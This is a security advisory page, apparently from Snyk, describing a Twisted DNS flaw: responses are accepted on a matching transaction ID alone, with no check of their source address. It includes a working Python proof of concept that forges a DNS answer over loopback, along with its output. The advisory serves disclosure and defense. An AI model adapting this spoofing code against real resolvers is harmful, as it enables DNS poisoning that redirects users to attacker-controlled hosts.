Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade Twisted to version 26.10.0rc1 or higher.
Twisted is an event-based network programming and multi-protocol integration framework.
Affected versions of this package are vulnerable to Origin Validation Error via DNSDatagramProtocol.datagramReceived in src/twisted/names/dns.py, where DNS responses are accepted solely on the basis of a matching transaction ID without verifying that the response originates from the same host and port to which the query was sent. An attacker who can observe or guess an in-flight transaction ID can send a forged UDP DNS response from an arbitrary source address, and the resolver will accept it as the legitimate answer, allowing injection of attacker-controlled DNS records.
import socket
from twisted.internet import reactor
from twisted.names import dns
class CapturingController:
def messageReceived(self, message, protocol, address):
pass
def main():
resolverProto = dns.DNSDatagramProtocol(CapturingController())
resolverProto.startListening()
real_server = ("203.0.113.1", 53) # RFC 5737 TEST-NET-1, never answers
query = dns.Query(b"victim.example.com", dns.A, dns.IN)
d = resolverProto.query(real_server, [query], timeout=5)
stolen_id = next(iter(resolverProto.liveMessages))
resolver_port = resolverProto.transport.getHost().port
forged = dns.Message(stolen_id, answer=1)
forged.queries = [query]
forged.answers = [
dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60,
payload=dns.Record_A(address="6.6.6.6"))
]
attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
attacker_sock.bind(("127.0.0.1", 0)) # unrelated to real_server
attacker_sock.sendto(forged.toStr(), ("127.0.0.1", resolver_port))
def onResult(message):
print("Resolver ACCEPTED forged response as the answer to its query to", real_server)
print("Spoofed A record:", message.answers[0].payload.dottedQuad())
reactor.stop()
d.addCallback(onResult)
reactor.callWhenRunning(main)
reactor.run()
Output:
Resolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995
Forged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53))
Resolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53)
Spoofed A record: 6.6.6.6
The query was sent to 203.0.113.1:53, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation.
Note: The PoC uses Twisted's DNSDatagramProtocol against a loopback resolver, with the forged response sent from an unrelated local UDP socket.